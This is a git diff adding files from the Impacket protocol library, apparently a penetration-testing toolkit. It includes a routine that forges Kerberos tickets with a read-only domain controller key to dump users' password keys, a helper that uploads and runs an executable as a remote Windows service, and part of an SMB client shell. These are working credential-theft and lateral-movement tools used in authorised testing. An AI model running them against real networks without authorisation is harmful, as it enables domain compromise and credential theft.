+            self.__domain = self.__remoteOps.getDNSDomain()
+
+    def dump(self):
+        LOG.info('Using the KERB-KEY-LIST method to get secrets')
+        self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
+        targetList = self.getAllowedUsersToReplicate()
+        for targetUser in targetList:
+            user = targetUser.split(":")[0]
+            targetUserName = Principal('%s' % user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+            partialTGT, sessionKey = self.createPartialTGT(targetUserName)
+            fullTGT = self.getFullTGT(targetUserName, partialTGT, sessionKey)
+            if fullTGT is not None:
+                key = self.getKey(fullTGT, sessionKey)
+                print(self.__domain + "\\" + targetUser + ":" + key[2:])
+
+    def createPartialTGT(self, userName):
+        # We need the ticket template
+        partialTGT = TicketAsn1()
+        partialTGT['tkt-vno'] = ProtocolVersionNumber.pvno.value
+        partialTGT['realm'] = self.__domain
+        partialTGT['sname'] = noValue
+        partialTGT['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
+        partialTGT['sname']['name-string'][0] = 'krbtgt'
+        partialTGT['sname']['name-string'][1] = self.__domain
+        partialTGT['enc-part'] = noValue
+        partialTGT['enc-part']['kvno'] = self.__keyVersionNumber << 16
+        partialTGT['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
+
+        # We create the encrypted ticket part
+        encTicketPart = EncTicketPart()
+        # We need these flags: 01000000100000010000000000000000
+        flags = list()
+        flags.append(TicketFlags.forwardable.value)
+        flags.append(TicketFlags.renewable.value)
+        flags.append(TicketFlags.enc_pa_rep.value)
+
+        # We fill in the encripted part
+        encTicketPart['flags'] = encodeFlags(flags)
+        encTicketPart['key'] = noValue
+        encTicketPart['key']['keytype'] = partialTGT['enc-part']['etype']
+        encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)])
+        encTicketPart['crealm'] = self.__domain
+        encTicketPart['cname'] = noValue
+        encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
+        encTicketPart['cname']['name-string'] = noValue
+        encTicketPart['cname']['name-string'][0] = userName
+        encTicketPart['transited'] = noValue
+        encTicketPart['transited']['tr-type'] = 0
+        encTicketPart['transited']['contents'] = ''
+        encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.utcnow())
+        encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.utcnow())
+        # Let's extend the ticket's validity a lil bit
+        ticketDuration = datetime.utcnow() + timedelta(days=int(120))
+        encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)
+        encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)
+        # We don't need PAC
+        encTicketPart['authorization-data'] = noValue
+        # We encode the encripted part
+        encodedEncTicketPart = encoder.encode(encTicketPart)
+        # and we encrypt it with the RODC key
+        cipher = _enctype_table[partialTGT['enc-part']['etype']]
+        key = Key(cipher.enctype, unhexlify(self.__rodcKey))
+        # key usage 2 -> key tgt service
+        cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None)
+
+        partialTGT['enc-part']['cipher'] = cipherText
+        sessionKey = encTicketPart['key']['keyvalue']
+
+        return partialTGT, sessionKey
+
+    def getFullTGT(self, userName, partialTGT, sessionKey):
+        ticket = Ticket()
+        ticket.from_asn1(partialTGT)
+
+        apReq = AP_REQ()
+        apReq['pvno'] = 5
+        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+
+        opts = list()
+        apReq['ap-options'] = constants.encodeFlags(opts)
+        seq_set(apReq, 'ticket', ticket.to_asn1)
+
+        authenticator = Authenticator()
+        authenticator['authenticator-vno'] = 5
+        authenticator['crealm'] = partialTGT['realm'].asOctets()
+
+        seq_set(authenticator, 'cname', userName.components_to_asn1)
+
+        now = datetime.utcnow()
+        authenticator['cusec'] = now.microsecond
+        authenticator['ctime'] = KerberosTime.to_asn1(now)
+
+        encodedAuthenticator = encoder.encode(authenticator)
+        cipher = _enctype_table[partialTGT['enc-part']['etype']]
+        keyAuth = Key(cipher.enctype, bytes(sessionKey))
+        encryptedEncodedAuthenticator = cipher.encrypt(keyAuth, 7, encodedAuthenticator, None)
+
+        apReq['authenticator'] = noValue
+        apReq['authenticator']['etype'] = cipher.enctype
+        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
+
+        tgsReq = TGS_REQ()
+        tgsReq['pvno'] = 5
+        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
+        tgsReq['padata'] = noValue
+        tgsReq['padata'][0] = noValue
+        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
+        encodedApReq = encoder.encode(apReq)
+        tgsReq['padata'][0]['padata-value'] = encodedApReq
+        tgsReq['padata'][1] = noValue
+        tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.KERB_KEY_LIST_REQ.value)
+        encodedKeyReq = encoder.encode([23], asn1Spec=SequenceOf(componentType=Integer()))
+        tgsReq['padata'][1]['padata-value'] = encodedKeyReq
+
+        reqBody = seq_set(tgsReq, 'req-body')
+
+        opts = list()
+        opts.append(constants.KDCOptions.canonicalize.value)
+
+        reqBody['kdc-options'] = constants.encodeFlags(opts)
+        serverName = Principal("krbtgt", type=PrincipalNameType.NT_SRV_INST.value)
+        reqBody['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
+        reqBody['sname']['name-string'][0] = serverName
+        reqBody['sname']['name-string'][1] = self.__domain
+        reqBody['realm'] = self.__domain
+
+        now = datetime.utcnow() + timedelta(days=1)
+
+        reqBody['till'] = KerberosTime.to_asn1(now)
+        reqBody['nonce'] = rand.getrandbits(31)
+        seq_set_iter(reqBody, 'etype',
+                     (
+                         int(cipher.enctype),
+                         int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),
+                         int(constants.EncryptionTypes.rc4_hmac.value),
+                         int(constants.EncryptionTypes.rc4_hmac_exp.value),
+                         int(constants.EncryptionTypes.rc4_hmac_old_exp.value)
+                     )
+                     )
+
+        message = encoder.encode(tgsReq)
+        # Let's send our TGS Request, the response will include the FULL TGT with the keys!!!
+        try:
+            logging.debug("Requesting a service ticket for the user %s", userName)
+            resp = sendReceive(message, self.__domain, self.__kdcHostName)
+        except Exception as error:
+            if str(error).find('KDC_ERR_TGT_REVOKED') >= 0 or str(error).find('KDC_ERR_CLIENT_REVOKED') >= 0:
+                logging.error("User %s is not allowed to have passwords replicated in RODCs", userName)
+            elif str(error).find('KDC_ERR_C_PRINCIPAL_UNKNOWN') >= 0:
+                logging.error("User %s doesn't exist", userName)
+            elif str(error).find('KDC_ERR_KEY_EXPIRED') >= 0:
+                logging.error("User %s's password has expired", userName)
+            elif str(error).find('Connection timed out') >= 0:
+                raise Exception("Connection timed out: check the KDC HostName or IP address, aborting")
+            elif str(error).find('Name or service not known') >= 0:
+                raise Exception("Name or service not known: check the KDC HostName or IP address, aborting")
+            elif str(error).find('KDC_ERR_WRONG_REALM') >= 0:
+                raise Exception("KDC_ERR_WRONG_REALM: domain doesn't exist, aborting")
+            elif str(error).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0:
+                raise Exception("KDC_ERR_S_PRINCIPAL_UNKNOWN: check the RODC krbtgt account number, aborting")
+            elif str(error).find('KRB_AP_ERR_BAD_INTEGRITY') >= 0:
+                raise Exception("KRB_AP_ERR_BAD_INTEGRITY: check the RODC AES key, aborting")
+            else:
+                logging.error(error)
+            return None
+        return resp
+
+    @staticmethod
+    def getKey(resp, sessionKey):
+        tgsRep = decoder.decode(resp, asn1Spec=TGS_REP())[0]
+
+        encTGSRepPart = tgsRep['enc-part']
+        enctype = encTGSRepPart['etype']
+        cipher = _enctype_table[enctype]
+
+        keyAuth = Key(cipher.enctype, bytes(sessionKey))
+        decryptedTGSRepPart = cipher.decrypt(keyAuth, 8, encTGSRepPart['cipher'])
+        decodedTGSRepPart = decoder.decode(decryptedTGSRepPart, asn1Spec=EncTGSRepPart())[0]
+        encPaData1 = decodedTGSRepPart['encrypted_pa_data'][0]
+        decodedPaData1 = decoder.decode(encPaData1['padata-value'], asn1Spec=KERB_KEY_LIST_REP())[0]
+        key = decodedPaData1[0]['keyvalue'].prettyPrint()
+
+        return key
+
+    def getAllowedUsersToReplicate(self):
+        # Enumerate all groups in domain
+        resp = self.__remoteOps.getGroupsInDomain()
+        groupsList = []
+        for group in resp['Buffer']['Buffer']:
+            groupsList.append(group['RelativeId'])
+
+        # Enumerate all aliases in domain
+        resp = self.__remoteOps.getAliasesInDomain()
+        aliasesList = []
+        for alias in resp['Buffer']['Buffer']:
+            aliasesList.append(alias['RelativeId'])
+
+        # Enumerate denied users to replicate (alias "Denied Password Replication" RID:572)
+        resp = self.__remoteOps.getMembersInAlias(rid=572)
+        deniedList = [500, 501, 502, 503]
+        for user in resp['Members']['Sids']:
+            rid = user['Data']['SidPointer']['SubAuthority'][4]
+            if rid not in deniedList:
+                deniedList.append(rid)
+
+        # Enumerate denied users in nested groups/aliases
+        for rid in deniedList:
+            if rid in groupsList:
+                resp = self.__remoteOps.getMembersInGroup(rid)
+                for user in resp['Members']['Members']:
+                    rid2 = user['Data']
+                    if rid2 not in deniedList:
+                        deniedList.append(rid2)
+            elif rid in aliasesList:
+                resp = self.__remoteOps.getMembersInAlias(rid)
+                for user in resp['Members']['Sids']:
+                    rid2 = user['Data']['SidPointer']['SubAuthority'][4]
+                    if rid2 not in deniedList:
+                        deniedList.append(rid2)
+
+        # Enumerate all users and filter denied ones
+        resp = self.__remoteOps.getDomainUsers()
+        targetList = []
+        for user in resp['Buffer']['Buffer']:
+            if user['RelativeId'] not in deniedList and "krbtgt_" not in user['Name']:
+                targetList.append(user['Name'] + ":" + str(user['RelativeId']))
+
+        return targetList
+
+
+def _print_helper(*args, **kwargs):
+    print(args[-1])
diff --git a/impacket/examples/serviceinstall.py b/impacket/examples/serviceinstall.py
new file mode 100644
index 0000000..edfab6d
--- /dev/null
+++ b/impacket/examples/serviceinstall.py
@@ -0,0 +1,252 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2019 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Service Install Helper library used by psexec and smbrelayx
+#   You provide an already established connection and an exefile
+#   (or class that mimics a file class) and this will install and
+#   execute the service, and then uninstall (install(), uninstall().
+#   It tries to take care as much as possible to leave everything clean.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+import random
+import string
+
+from impacket.dcerpc.v5 import transport, srvs, scmr
+from impacket import smb,smb3, LOG
+from impacket.smbconnection import SMBConnection
+from impacket.smb3structs import FILE_WRITE_DATA, FILE_DIRECTORY_FILE
+
+class ServiceInstall:
+    def __init__(self, SMBObject, exeFile, serviceName='', binary_service_name=None):
+        self._rpctransport = 0
+        self.__service_name = serviceName if len(serviceName) > 0  else  ''.join([random.choice(string.ascii_letters) for i in range(4)])
+
+        if binary_service_name is None:
+            self.__binary_service_name = ''.join([random.choice(string.ascii_letters) for i in range(8)]) + '.exe'
+        else:
+            self.__binary_service_name = binary_service_name
+            
+        self.__exeFile = exeFile
+
+        # We might receive two different types of objects, always end up
+        # with a SMBConnection one
+        if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3):
+            self.connection = SMBConnection(existingConnection = SMBObject)
+        else:
+            self.connection = SMBObject
+
+        self.share = ''
+
+    def getShare(self):
+        return self.share
+
+    def getShares(self):
+        # Setup up a DCE SMBTransport with the connection already in place
+        LOG.info("Requesting shares on %s....." % (self.connection.getRemoteHost()))
+        try:
+            self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(),
+                                                        self.connection.getRemoteHost(),filename = r'\srvsvc',
+                                                        smb_connection = self.connection)
+            dce_srvs = self._rpctransport.get_dce_rpc()
+            dce_srvs.connect()
+
+            dce_srvs.bind(srvs.MSRPC_UUID_SRVS)
+            resp = srvs.hNetrShareEnum(dce_srvs, 1)
+            return resp['InfoStruct']['ShareInfo']['Level1']
+        except:
+            LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost()))
+            raise
+
+
+    def createService(self, handle, share, path):
+        LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost()))
+
+        # First we try to open the service in case it exists. If it does, we remove it.
+        try:
+            resp =  scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00')
+        except Exception as e:
+            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0:
+                # We're good, pass the exception
+                pass
+            else:
+                raise e
+        else:
+            # It exists, remove it
+            scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle'])
+            scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle'])
+
+        # Create the service
+        command = '%s\\%s' % (path, self.__binary_service_name)
+        try:
+            resp = scmr.hRCreateServiceW(self.rpcsvc, handle,self.__service_name + '\x00', self.__service_name + '\x00',
+                                         lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START)
+        except:
+            LOG.critical("Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost()))
+            raise
+        else:
+            return resp['lpServiceHandle']
+
+    def openSvcManager(self):
+        LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost())
+        # Setup up a DCE SMBTransport with the connection already in place
+        self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),
+                                                    filename = r'\svcctl', smb_connection = self.connection)
+        self.rpcsvc = self._rpctransport.get_dce_rpc()
+        self.rpcsvc.connect()
+        self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
+        try:
+            resp = scmr.hROpenSCManagerW(self.rpcsvc)
+        except:
+            LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost())
+            raise Exception('Unable to open SVCManager')
+        else:
+            return resp['lpScHandle']
+
+    def copy_file(self, src, tree, dst):
+        LOG.info("Uploading file %s" % dst)
+        if isinstance(src, str):
+            # We have a filename
+            fh = open(src, 'rb')
+        else:
+            # We have a class instance, it must have a read method
+            fh = src
+        f = dst
+        pathname = f.replace('/','\\')
+        try:
+            self.connection.putFile(tree, pathname, fh.read)
+        except:
+            LOG.critical("Error uploading file %s, aborting....." % dst)
+            raise
+        fh.close()
+
+    def findWritableShare(self, shares):
+        # Check we can write a file on the shares, stop in the first one
+        writeableShare = None
+        for i in shares['Buffer']:
+            if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL:
+               share = i['shi1_netname'][:-1]
+               tid = 0
+               try:
+                   tid = self.connection.connectTree(share)
+                   self.connection.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
+               except:
+                   LOG.debug('Exception', exc_info=True)
+                   LOG.critical("share '%s' is not writable." % share)
+                   pass
+               else:
+                   LOG.info('Found writable share %s' % share)
+                   writeableShare = str(share)
+                   break
+               finally:
+                   if tid != 0:
+                       self.connection.disconnectTree(tid)
+        return writeableShare
+
+    def install(self):
+        if self.connection.isGuestSession():
+            LOG.critical("Authenticated as Guest. Aborting")
+            self.connection.logoff()
+            del self.connection
+        else:
+            fileCopied = False
+            serviceCreated = False
+            # Do the stuff here
+            try:
+                # Let's get the shares
+                shares = self.getShares()
+                self.share = self.findWritableShare(shares)
+                if self.share is None:
+                    return False
+                self.copy_file(self.__exeFile ,self.share,self.__binary_service_name)
+                fileCopied = True
+                svcManager = self.openSvcManager()
+                if svcManager != 0:
+                    serverName = self.connection.getServerName()
+                    if self.share.lower() == 'admin$':
+                        path = '%systemroot%'
+                    else:
+                        if serverName != '':
+                           path = '\\\\%s\\%s' % (serverName, self.share)
+                        else:
+                           path = '\\\\127.0.0.1\\' + self.share
+                    service = self.createService(svcManager, self.share, path)
+                    serviceCreated = True
+                    if service != 0:
+                        # Start service
+                        LOG.info('Starting service %s.....' % self.__service_name)
+                        try:
+                            scmr.hRStartServiceW(self.rpcsvc, service)
+                        except:
+                            pass
+                        scmr.hRCloseServiceHandle(self.rpcsvc, service)
+                    scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)
+                    return True
+            except Exception as e:
+                LOG.critical("Error performing the installation, cleaning up: %s" %e)
+                LOG.debug("Exception", exc_info=True)
+                try:
+                    scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)
+                except:
+                    pass
+                if fileCopied is True:
+                    try:
+                        self.connection.deleteFile(self.share, self.__binary_service_name)
+                    except:
+                        pass
+                if serviceCreated is True:
+                    try:
+                        scmr.hRDeleteService(self.rpcsvc, service)
+                    except:
+                        pass
+            return False
+
+    def uninstall(self):
+        fileCopied = True
+        serviceCreated = True
+        # Do the stuff here
+        try:
+            # Let's get the shares
+            svcManager = self.openSvcManager()
+            if svcManager != 0:
+                resp = scmr.hROpenServiceW(self.rpcsvc, svcManager, self.__service_name+'\x00')
+                service = resp['lpServiceHandle']
+                LOG.info('Stopping service %s.....' % self.__service_name)
+                try:
+                    scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)
+                except:
+                    pass
+                LOG.info('Removing service %s.....' % self.__service_name)
+                scmr.hRDeleteService(self.rpcsvc, service)
+                scmr.hRCloseServiceHandle(self.rpcsvc, service)
+                scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)
+            LOG.info('Removing file %s.....' % self.__binary_service_name)
+            self.connection.deleteFile(self.share, self.__binary_service_name)
+        except Exception:
+            LOG.critical("Error performing the uninstallation, cleaning up" )
+            try:
+                scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)
+            except:
+                pass
+            if fileCopied is True:
+                try:
+                    self.connection.deleteFile(self.share, self.__binary_service_name)
+                except:
+                    try:
+                        self.connection.deleteFile(self.share, self.__binary_service_name)
+                    except:
+                        pass
+                    pass
+            if serviceCreated is True:
+                try:
+                    scmr.hRDeleteService(self.rpcsvc, service)
+                except:
+                    pass
diff --git a/impacket/examples/smbclient.py b/impacket/examples/smbclient.py
new file mode 100644
index 0000000..51fc14f
--- /dev/null
+++ b/impacket/examples/smbclient.py
@@ -0,0 +1,567 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Mini shell using some of the SMB funcionality of the library
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#   SMB DCE/RPC
+#
+from __future__ import division
+from __future__ import print_function
+from io import BytesIO
+import sys
+import time
+import cmd
+import os
+import ntpath
+
+from six import PY2
+from impacket.dcerpc.v5 import samr, transport, srvs
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket import LOG
+from impacket.smbconnection import SMBConnection, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SessionError, \
+    FILE_READ_DATA, FILE_SHARE_READ, FILE_SHARE_WRITE
+from impacket.smb3structs import FILE_DIRECTORY_FILE, FILE_LIST_DIRECTORY
+
+import charset_normalizer as chardet
+
+
+# If you wanna have readline like functionality in Windows, install pyreadline
+try:
+  import pyreadline as readline
+except ImportError:
+  import readline
+
+class MiniImpacketShell(cmd.Cmd):
+    def __init__(self, smbClient, tcpShell=None):
+        #If the tcpShell parameter is passed (used in ntlmrelayx),
+        # all input and output is redirected to a tcp socket
+        # instead of to stdin / stdout
+        if tcpShell is not None:
+            cmd.Cmd.__init__(self, stdin=tcpShell.stdin, stdout=tcpShell.stdout)
+            sys.stdout = tcpShell.stdout
+            sys.stdin = tcpShell.stdin
+            sys.stderr = tcpShell.stdout
+            self.use_rawinput = False
+            self.shell = tcpShell
+        else:
+            cmd.Cmd.__init__(self)
+            self.shell = None
+
+        self.prompt = '# '
+        self.smb = smbClient
+        self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = smbClient.getCredentials()
+        self.tid = None
+        self.intro = 'Type help for list of commands'
+        self.pwd = ''
+        self.share = None
+        self.loggedIn = True
+        self.last_output = None
+        self.completion = []
+
+    def emptyline(self):
+        pass
+
+    def precmd(self,line):
+        # switch to unicode
+        if PY2:
+            return line.decode('utf-8')
+        return line
+
+    def onecmd(self,s):
+        retVal = False
+        try:
+           retVal = cmd.Cmd.onecmd(self,s)
+        except Exception as e:
+           LOG.error(e)
+           LOG.debug('Exception info', exc_info=True)
+
+        return retVal
+
+    def do_exit(self,line):
+        if self.shell is not None:
+            self.shell.close()
+        return True
+
+    def do_shell(self, line):
+        output = os.popen(line).read()
+        print(output)
+        self.last_output = output
+
+    def do_help(self,line):
+        print("""
+ open {host,port=445} - opens a SMB connection against the target host/port
+ login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
+ kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
+ login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
+ logoff - logs off
+ shares - list available shares
+ use {sharename} - connect to an specific share
+ cd {path} - changes the current directory to {path}
+ lcd {path} - changes the current local directory to {path}
+ pwd - shows current remote directory
+ password - changes the user password, the new password will be prompted for input
+ ls {wildcard} - lists all the files in the current directory
+ rm {file} - removes the selected file
+ mkdir {dirname} - creates the directory under the current path
+ rmdir {dirname} - removes the directory under the current path
+ put {filename} - uploads the filename into the current path
+ get {filename} - downloads the filename from the current path
+ mget {mask} - downloads all files from the current directory matching the provided mask
+ cat {filename} - reads the filename from the current path
+ mount {target,path} - creates a mount point from {path} to {target} (admin required)
+ umount {path} - removes the mount point at {path} without deleting the directory (admin required)
+ list_snapshots {path} - lists the vss snapshots for the specified path
+ info - returns NetrServerInfo main results
+ who - returns the sessions currently connected at the target host (admin required)
+ close - closes the current SMB Session
+ exit - terminates the server process (and this session)
+
+""")
+
+    def do_password(self, line):
+        if self.loggedIn is False:
+            LOG.error("Not logged in")
+            return
+        from getpass import getpass
+        newPassword = getpass("New Password:")
+        rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\samr', smb_connection = self.smb)
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        dce.bind(samr.MSRPC_UUID_SAMR)
+        samr.hSamrUnicodeChangePasswordUser2(dce, '\x00', self.username, self.password, newPassword, self.lmhash, self.nthash)
+        self.password = newPassword
+        self.lmhash = None
+        self.nthash = None
+
+    def do_open(self,line):
+        l = line.split(' ')
+        port = 445
+        if len(l) > 0:
+           host = l[0]
+        if len(l) > 1:
+           port = int(l[1])
+
+
+        if port == 139:
+            self.smb = SMBConnection('*SMBSERVER', host, sess_port=port)
+        else:
+            self.smb = SMBConnection(host, host, sess_port=port)
+
+        dialect = self.smb.getDialect()
+        if dialect == SMB_DIALECT:
+            LOG.info("SMBv1 dialect used")
+        elif dialect == SMB2_DIALECT_002:
+            LOG.info("SMBv2.0 dialect used")
+        elif dialect == SMB2_DIALECT_21:
+            LOG.info("SMBv2.1 dialect used")
+        else:
+            LOG.info("SMBv3.0 dialect used")
+
+        self.share = None
+        self.tid = None
+        self.pwd = ''
+        self.loggedIn = False
+        self.password = None
+        self.lmhash = None
+        self.nthash = None
+        self.username = None
+
+    def do_login(self,line):
+        if self.smb is None:
+            LOG.error("No connection open")
+            return
+        l = line.split(' ')
+        username = ''
+        password = ''
+        domain = ''
+        if len(l) > 0:
+           username = l[0]
+        if len(l) > 1:
+           password = l[1]
+
+        if username.find('/') > 0:
+           domain, username = username.split('/')
+
+        if password == '' and username != '':
+            from getpass import getpass
+            password = getpass("Password:")
+
+        self.smb.login(username, password, domain=domain)
+        self.password = password
+        self.username = username
+
+        if self.smb.isGuestSession() > 0:
+            LOG.info("GUEST Session Granted")
+        else:
+            LOG.info("USER Session Granted")
+        self.loggedIn = True
+
+    def do_kerberos_login(self,line):
+        if self.smb is None:
+            LOG.error("No connection open")
+            return
+        l = line.split(' ')
+        username = ''
+        password = ''
+        domain = ''
+        if len(l) > 0:
+           username = l[0]
+        if len(l) > 1:
+           password = l[1]
+
+        if username.find('/') > 0:
+           domain, username = username.split('/')
+
+        if domain == '':
+            LOG.error("Domain must be specified for Kerberos login")
+            return
+
+        if password == '' and username != '':
+            from getpass import getpass
+            password = getpass("Password:")
+
+        self.smb.kerberosLogin(username, password, domain=domain)
+        self.password = password
+        self.username = username
+
+        if self.smb.isGuestSession() > 0:
+            LOG.info("GUEST Session Granted")
+        else:
+            LOG.info("USER Session Granted")
+        self.loggedIn = True
+
+    def do_login_hash(self,line):
+        if self.smb is None:
+            LOG.error("No connection open")
+            return
+        l = line.split(' ')
+        domain = ''
+        if len(l) > 0:
+           username = l[0]
+        if len(l) > 1:
+           hashes = l[1]
+        else:
+           LOG.error("Hashes needed. Format is lmhash:nthash")
+           return
+
+        if username.find('/') > 0:
+           domain, username = username.split('/')
+
+        lmhash, nthash = hashes.split(':')
+
+        self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash)
+        self.username = username
+        self.lmhash = lmhash
+        self.nthash = nthash
+
+        if self.smb.isGuestSession() > 0:
+            LOG.info("GUEST Session Granted")
+        else:
+            LOG.info("USER Session Granted")
+        self.loggedIn = True
+
+    def do_logoff(self, line):
+        if self.smb is None:
+            LOG.error("No connection open")
+            return
+        self.smb.logoff()
+        del self.smb
+        self.share = None
+        self.smb = None
+        self.tid = None
+        self.pwd = ''
+        self.loggedIn = False
+        self.password = None
+        self.lmhash = None
+        self.nthash = None
+        self.username = None
+
+    def do_info(self, line):
+        if self.loggedIn is False:
+            LOG.error("Not logged in")
+            return
+        rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        dce.bind(srvs.MSRPC_UUID_SRVS)
+        resp = srvs.hNetrServerGetInfo(dce, 102)
+
+        print("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'])
+        print("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'])
+        print("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
+        print("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'])
+        print("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'])
+        print("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'])
+
+    def do_who(self, line):
+        if self.loggedIn is False:
+            LOG.error("Not logged in")
+            return
+        rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        dce.bind(srvs.MSRPC_UUID_SRVS)
+        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)
+
+        for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
+            print("host: %15s, user: %5s, active: %5d, idle: %5d" % (
+            session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'],
+            session['sesi10_idle_time']))
+
+    def do_shares(self, line):
+        if self.loggedIn is False:
+            LOG.error("Not logged in")
+            return
+        resp = self.smb.listShares()
+        for i in range(len(resp)):
+            print(resp[i]['shi1_netname'][:-1])
+
+    def do_use(self,line):
+        if self.loggedIn is False:
+            LOG.error("Not logged in")
+            return
+        self.share = line
+        self.tid = self.smb.connectTree(line)
+        self.pwd = '\\'
+        self.do_ls('', False)
+
+    def complete_cd(self, text, line, begidx, endidx):
+        return self.complete_get(text, line, begidx, endidx, include = 2)
+
+    def do_cd(self, line):
+        if self.tid is None:
+            LOG.error("No share selected")
+            return
+        p = line.replace('/','\\')
+        oldpwd = self.pwd
+        if p[0] == '\\':
+           self.pwd = line
+        else:
+           self.pwd = ntpath.join(self.pwd, line)
+        self.pwd = ntpath.normpath(self.pwd)
+        # Let's try to open the directory to see if it's valid
+        try:
+            fid = self.smb.openFile(self.tid, self.pwd, creationOption = FILE_DIRECTORY_FILE, desiredAccess = FILE_READ_DATA |
+                                   FILE_LIST_DIRECTORY, shareMode = FILE_SHARE_READ | FILE_SHARE_WRITE )
+            self.smb.closeFile(self.tid,fid)
+        except SessionError:
+            self.pwd = oldpwd
+            raise
+
+    def do_lcd(self, s):
+        print(s)
+        if s == '':
+           print(os.getcwd())
+        else:
+           os.chdir(s)
+
+    def do_pwd(self,line):
+        if self.loggedIn is False:
+            LOG.error("Not logged in")
+            return
+        print(self.pwd)
+
+    def do_ls(self, wildcard, display = True):
+        if self.loggedIn is False:
+            LOG.error("Not logged in")
+            return
+        if self.tid is None:
+            LOG.error("No share selected")
+            return
+        if wildcard == '':
+           pwd = ntpath.join(self.pwd,'*')
+        else:
+           pwd = ntpath.join(self.pwd, wildcard)
+        self.completion = []
+        pwd = pwd.replace('/','\\')
+        pwd = ntpath.normpath(pwd)
+        for f in self.smb.listPath(self.share, pwd):
+            if display is True:
+                print("%crw-rw-rw- %10d  %s %s" % (
+                'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())),
+                f.get_longname()))
+            self.completion.append((f.get_longname(), f.is_directory()))
+
+
+    def do_rm(self, filename):
+        if self.tid is None:
+            LOG.error("No share selected")
+            return
+        f = ntpath.join(self.pwd, filename)
+        file = f.replace('/','\\')
+        self.smb.deleteFile(self.share, file)
+
+    def do_mkdir(self, path):
+        if self.tid is None:
+            LOG.error("No share selected")
+            return
+        p = ntpath.join(self.pwd, path)
+        pathname = p.replace('/','\\')
+        self.smb.createDirectory(self.share,pathname)
+
+    def do_rmdir(self, path):
+        if self.tid is None:
